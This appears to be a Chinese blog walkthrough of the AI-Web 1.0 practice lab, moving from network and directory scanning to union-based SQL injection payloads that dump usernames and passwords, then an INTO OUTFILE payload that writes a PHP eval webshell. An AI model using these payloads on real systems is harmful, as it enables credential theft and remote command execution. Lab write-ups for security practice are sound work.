1.搭建靶场

首先安装ai-web 1.0虚拟机,然后在kali里面找到ai-web 1.0虚拟机的ip,

nmap 192.168.139.1/24

2.访问该ip,则靶场搭建完毕

3.用dirb扫描发现有robots.txt文件,发现robots.txt中有标明目录。

4.访问robots.txt,发现新的目录

5.访问/m3diNf0目录试试看,发现没有权限进行访问

6.接下来试试访问/se3reTdir777目录试试,发现有提交数据的地方,猜测这里可以进行注入

7.在kali中寻找可写入路径

8.查找绝对路径

9.使用BP抓包

10.判断闭合方式为

'--+

11.判断字段数

' order by 3   #页面正常
' order by 4   #页面报错

12.判断回显点

' union select 1,2,3--+  

13.获取数据库库名,s数据库名字为aiweb1

' union select 1,database(),3--+  

14.爆破表名

' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='aiweb1'--+

15.爆破字段

' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='aiweb1' and table_name='systemUser'--+

16.爆破数据

' union select 1,2,group_concat(userName,'~',password) from systemUser--+

17.上传一句话木马

-1' union select 1,'<?php @eval($_POST[cmd]);?>',3 into outfile '/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/1.php'--+

18.访问http://192.168.139.156/se3reTdir777/uploads/2.php,在2的位置写入了一句话木马。

Logo

火山引擎开发者社区是火山引擎打造的AI技术生态平台,聚焦Agent与大模型开发,提供豆包系列模型(图像/视频/视觉)、智能分析与会话工具,并配套评测集、动手实验室及行业案例库。社区通过技术沙龙、挑战赛等活动促进开发者成长,新用户可领50万Tokens权益,助力构建智能应用。

更多推荐